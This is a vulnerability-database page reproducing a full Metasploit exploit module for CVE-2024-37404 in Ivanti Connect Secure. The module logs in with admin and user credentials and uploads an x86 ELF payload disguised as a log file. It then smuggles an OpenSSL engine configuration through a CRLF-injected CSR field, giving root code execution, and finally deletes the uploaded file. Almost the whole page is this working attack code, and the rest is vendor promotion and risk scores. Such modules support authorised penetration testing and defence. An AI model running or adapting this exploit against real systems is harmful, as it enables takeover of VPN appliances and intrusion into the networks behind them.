Lucene search
K

Ivanti Connect Secure Authenticated Remote Code Execution via OpenSSL CRLF Injection

🗓️ 04 Dec 2024 18:58:14Reported by Richard Warren, Christophe De La FuenteType 
metasploit
 metasploit
🔗 www.rapid7.com👁 622 Views

This module exploits a CRLF injection vulnerability in Ivanti Connect Secure to achieve remote code execution. Versions prior to 22.7R2.1 and Ivanti Policy Secure versions prior to 22.7R1.1 are vulnerable. Valid administrative credentials are required

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  class IvantiError < StandardError; end
  class IvantiNoAccessError < IvantiError; end
  class IvantiNotFoundError < IvantiError; end
  class IvantiUnexpectedResponseError < IvantiError; end
  class IvantiUnknownError < IvantiError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti Connect Secure Authenticated Remote Code Execution via OpenSSL CRLF Injection',
        'Description' => %q{
          This module exploits a CRLF injection vulnerability in Ivanti Connect
          Secure to achieve remote code execution (CVE-2024-37404). Versions
          prior to 22.7R2.1 are vulnerable. Note that Ivanti Policy Secure
          versions prior to 22.7R1.1 are also vulnerable but this module
          doesn't support this software.

          Valid administrative credentials are required. A non-administrative
          user is also required and can be created using the administrative
          account, if needed.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Richard Warren', # Vulnerability discovery and PoC
          'Christophe De La Fuente', # Metasploit Module
        ],
        'References' => [
          ['CVE', '2024-37404'],
          ['URL', 'https://attackerkb.com/topics/FI5vcuGwyM/cve-2024-37404'],
          ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-and-Policy-Secure-CVE-2024-37404'],
          ['URL', 'https://blog.amberwolf.com/blog/2024/october/cve-2024-37404-ivanti-connect-secure-authenticated-rce-via-openssl-crlf-injection/']
        ],
        'DisclosureDate' => '2024-10-08',
        'Platform' => 'linux',
        'Arch' => ARCH_X86, # OpenSSL running on the appliance is an x86 binary which requires the payload to be ARCH_x86
        'Privileged' => true, # Administrative access is needed and code execution as root.
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, ACCOUNT_LOGOUT]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path of the Ivanti Connect Secure web interface', '/']),
        OptString.new('ADMIN_USERNAME', [true, 'Administrative username to authenticate with.']),
        OptString.new('ADMIN_PASSWORD', [true, 'Administrator password to authenticate with.']),
        OptString.new('USERNAME', [true, 'Normal user username to authenticate with.']),
        OptString.new('PASSWORD', [true, 'Normal user password to authenticate with.'])
      ]
    )

    @logged = false
  end

  def confirm_login_admin(uri)
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
    raise IvantiUnknownError, "[confirm_login_admin] No response from '#{uri}'" if res.nil?

    csrf_token = res.get_html_document.xpath('//form/input[@name="xsauth"]/@value').text
    raise IvantiNotFoundError, '[confirm_login_admin] Could not find the CSRF token' if csrf_token.empty?

    form_data_str = res.get_html_document.xpath('//form/input[@id="DSIDFormDataStr"]/@value').text
    raise IvantiNotFoundError, '[confirm_login_admin] Could not find the FormDataStr token' if form_data_str.empty?

    uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/login.cgi')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'keep_cookies' => 'true',
      'vars_post' => {
        'btnContinue' => 'Continue the session',
        'FormDataStr' => form_data_str,
        'xsauth' => csrf_token
      }
    )
    raise IvantiUnknownError, "[confirm_login_admin] No response from '#{uri}'" if res.nil?

    res
  end

  def login_admin
    print_status(
      "Login to the administrative interface with username '#{datastore['ADMIN_USERNAME']}' and password "\
      "'#{datastore['ADMIN_PASSWORD']}'..."
    )

    uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
    raise IvantiUnknownError, "[login_admin] No response from '#{uri}'" if res.nil?

    csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_token"]/@value').text
    raise IvantiNotFoundError, '[login_admin] Could not find the CSRF token' if csrf_token.empty?

    uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/login.cgi')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'keep_cookies' => 'true',
      'vars_post' => {
        'tz_offset' => (60 * rand(0..8)).to_s,
        'xsauth_token' => csrf_token,
        'username' => datastore['ADMIN_USERNAME'],
        'password' => datastore['ADMIN_PASSWORD'],
        'realm' => 'Admin Users',
        'btnSubmit' => 'Sign In'
      }
    )
    raise IvantiUnknownError, "[login_admin] No response from '#{uri}'" if res.nil?

    if res.code == 302 && res.redirection.to_s == normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm')
      print_warning("The admin #{datastore['ADMIN_USERNAME']} is already logged in")
      res = confirm_login_admin(normalize_uri(target_uri.path, res.redirection.to_s))
    end

    if res.code != 302 || res.redirection.to_s != normalize_uri(target_uri.path, '/dana-admin/misc/admin.cgi')
      raise IvantiNoAccessError, "[login_admin] Login failed (username: #{datastore['ADMIN_USERNAME']}, password: #{datastore['ADMIN_PASSWORD']})"
    end
  end

  def get_version
    print_status('Getting the version...')

    uri = normalize_uri(target_uri.path, '/dana-admin/sysinfo/sysinfo.cgi')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
    raise IvantiUnknownError, "[get_version] No response from '#{uri}'" if res.nil?

    version_str = res.get_html_document.xpath('//span[@id="DSIDSystemSoftwarePkgVersion"]').text
    raise IvantiNotFoundError, '[get_version] Could not find the version number' if version_str.empty?

    print_good("Found version #{version_str}")
    unless version_str.match(/(\d+\.[\dR]+)/)
      raise IvantiNotFoundError, "[get_version] Unexpected version number format: #{version_str}"
    end

    Rex::Version.new(Regexp.last_match(1))
  end

  def check
    begin
      login_admin
      @logged = true
    rescue IvantiError => e
      return CheckCode::Unknown("Unable to login to the administrative interface: #{e}")
    end

    begin
      version = get_version
    rescue IvantiError => e
      return CheckCode::Detected("Version number not found: #{e}")
    end

    unless version < Rex::Version.new('22.7R2.1')
      return CheckCode::Safe("Version number: #{version}")
    end

    return CheckCode::Appears("Version #{version} appears to be vulnerable")
  end

  def confirm_login_user(uri)
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
    raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil?

    form_data_str = res.get_html_document.xpath('//form/input[@id="DSIDFormDataStr"]/@value').text
    raise IvantiNotFoundError, '[login_user] Could not find the FormDataStr token' if form_data_str.empty?

    uri = normalize_uri(target_uri.path, '/dana-na/auth/url_default/login.cgi')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'keep_cookies' => 'true',
      'vars_post' => {
        'btnContinue' => 'Continue the session',
        'FormDataStr' => form_data_str
      }
    )
    raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil?

    res
  end

  def login_user
    print_status(
      "Login to the user interface with username '#{datastore['USERNAME']}' and password "\
      "'#{datastore['PASSWORD']}'..."
    )

    uri = normalize_uri(target_uri.path, '/dana-na/auth/url_default/login.cgi')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'keep_cookies' => 'true',
      'vars_post' => {
        'tz_offset' => '',
        'win11' => '',
        'clientMAC' => '',
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'realm' => 'Users',
        'btnSubmit' => 'Sign In'
      }
    )
    raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil?

    if res.code == 302 && res.redirection.to_s == normalize_uri(target_uri.path, '/dana-na/auth/url_default/welcome.cgi?p=user%2Dconfirm')
      print_warning("User #{datastore['USERNAME']} is already logged in.")
      res = confirm_login_user(normalize_uri(target_uri.path, res.redirection.to_s))
    end

    if res.code != 302 && res.redirection.to_s != normalize_uri(target_uri.path, '/dana/home/starter0.cgi?check=yes')
      raise IvantiNoAccessError, "[login_user] Login failed (username: #{datastore['USERNAME']}, password: #{datastore['PASSWORD']})"
    end
  end

  def upload_log
    print_status('Uploading the log file...')

    @client_component = "Log_#{rand_text_numeric(3)}"
    uri = normalize_uri(target_uri.path, "/dana/uploadlog/uploadlog.cgi?client_component=#{@client_component}")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'keep_cookies' => 'true',
      'vars_form_data' => [
        {
          'name' => 'uploaded_file',
          'data' => Msf::Util::EXE.to_linux_x86_elf_dll(framework, payload.encoded),
          'content_type' => 'application/octet-stream',
          'encoding' => 'binary',
          'filename' => 'LULogUpload.zip'
        }
      ]
    )
    raise IvantiUnknownError, "[upload_log] No response from '#{uri}'" if res.nil?

    unless res.code == 200
      raise IvantiUnexpectedResponseError, "[upload_log] Server responded with an unexpected HTTP status code: #{res.code}"
    end
  end

  def get_log_filename
    print_status('Getting the log file name...')

    uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
    raise IvantiUnknownError, "[get_log_filename] No response from '#{uri}'" if res.nil?

    log_filename = res.get_html_document.xpath("//table[@id='table_uploadedlogs_4']//tr/td[contains(text(), '#{@client_component}')]/preceding-sibling::td/a").text.strip
    raise IvantiNotFoundError, '[get_log_filename] Could not find the log filename' if log_filename.empty?

    log_filename
  end

  def upload_payload
    print_status('Uploading the payload...')

    cookie_jar_bak = cookie_jar.dup
    cookie_jar.clear
    login_user
    begin
      upload_log
    ensure
      print_status('Logging the user out...')

      uri = normalize_uri(target_uri.path, '/dana-na/auth/logout.cgi')
      res = send_request_cgi('method' => 'GET', 'uri' => uri)
      print_warning("Unable to logout: no response from '#{uri}'") if res.nil?
    end
    self.cookie_jar = cookie_jar_bak
    get_log_filename
  end

  def trigger_payload
    print_status('Triggering the payload...')

    uri = normalize_uri(target_uri.path, '/dana-admin/cert/admincert.cgi')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
    raise IvantiUnknownError, "[trigger_payload] No response from '#{uri}'" if res.nil?

    csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_71"]/@value').text
    raise IvantiNotFoundError, '[trigger_payload] Could not find the CSRF token' if csrf_token.empty?

    engine_name = rand_text_alpha_lower(3..5)
    config_section = rand_text_alpha_lower(5..10)
    openssl_config = <<~CONF
      [default]
      openssl_conf = openssl_init
      [openssl_init]
      engines = engine_section
      [engine_section]
      #{engine_name} = #{config_section}
      [#{config_section}]
      engine_id = #{engine_name}
      dynamic_path = /home/runtime/uploadlog/#{@log_filename}
      init = 0
    CONF
    # Expecting no response
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/dana-admin/cert/admincertnewcsr.cgi'),
      'keep_cookies' => 'true',
      'headers' => {
        'Referer' => full_uri('/dana-admin/cert/admincert.cgi')
      },
      'vars_post' => {
        'xsauth' => csrf_token,
        'commonName' => Faker::Company.department,
        'organizationName' => Faker::Company.name,
        'organizationalUnitName' => Faker::Company.department,
        'localityName' => "#{Faker::Address.city}\n#{openssl_config}",
        'stateOrProvinceName' => Faker::Address.state,
        'countryName' => Faker::Address.country_code,
        'emailAddress' => Faker::Internet.email,
        'keytype' => 'RSA',
        'keylength' => '1024',
        'eccurve' => 'prime256v1',
        'random' => rand_text_alphanumeric(5..10),
        'newcsr' => 'yes',
        'certType' => 'device',
        'btnCreateCSR' => 'Create CSR'
      }
    }, 1)
  end

  def exploit
    unless @logged
      begin
        login_admin
      rescue IvantiError => e
        fail_with(Failure::NoAccess, "Unable to login to the administrative interface: #{e}")
      end
    end

    begin
      @log_filename = upload_payload
    rescue IvantiError => e
      fail_with(Failure::Unknown, "Unable to upload the payload: #{e}")
    end

    begin
      trigger_payload
    rescue IvantiError => e
      fail_with(Failure::Unknown, "Unable to trigger the payload: #{e}")
    end
  end

  def delete_log_file
    print_status('Deleting the log file (payload)...')

    uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true')
    raise IvantiUnknownError, "[delete_log_file] No response from '#{uri}'" if res.nil?

    csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_60"]/@value').text
    raise IvantiNotFoundError, '[delete_log_file] Could not find the CSRF token' if csrf_token.empty?

    file_link = res.get_html_document.xpath("//table[@id='table_uploadedlogs_4']//tr/td[contains(text(), '#{@client_component}')]/preceding-sibling::td/a")
    raise IvantiNotFoundError, '[delete_log_file] Could not find the log file' if file_link.empty?

    href = file_link.attribute('href')&.value
    if href&.match(/&row=(\d+)/)
      log_id = Regexp.last_match(1)
    else
      raise IvantiNotFoundError, '[delete_log_file] Unable to retrieve the log ID'
    end

    uri = normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'keep_cookies' => 'true',
      'headers' => {
        'Referer' => full_uri('/dana-admin/auth/uploadedlogs.cgi')
      },
      'vars_post' => {
        'xsauth' => csrf_token,
        'op' => 'del',
        'row' => log_id
      }
    )
    raise IvantiUnknownError, "[delete_log_file] No response from '#{uri}'" if res.nil?

    if res.code != 302 || res.redirection.to_s != normalize_uri(target_uri.path, '/dana-admin/auth/uploadedlogs.cgi')
      raise IvantiUnexpectedResponseError, "[delete_log_file] Unable to delete the log file (status code=#{res.code})"
    end

    csrf_token
  end

  def on_new_session(_session)
    print_status('Cleaning up...')

    begin
      csrf_token = delete_log_file
    rescue IvantiError => e
      print_warning(
        "Unable to cleanup properly, the log file ('/home/runtime/uploadlog/#{@log_filename}') "\
        "will need to be deleted manually: #{e}"
      )
    end

    print_status('Logging the administrator out...')

    uri = normalize_uri(target_uri.path, '/dana-na/auth/logout.cgi')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => { 'xsauth' => csrf_token })
    print_warning("Unable to logout: no response from '#{uri}'") if res.nil?
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jul 2026 19:02Current
9.2High risk
Vulners AI Score9.2
CVSS 3.18.8
CVSS 39.1
EPSS0.67291
SSVC
622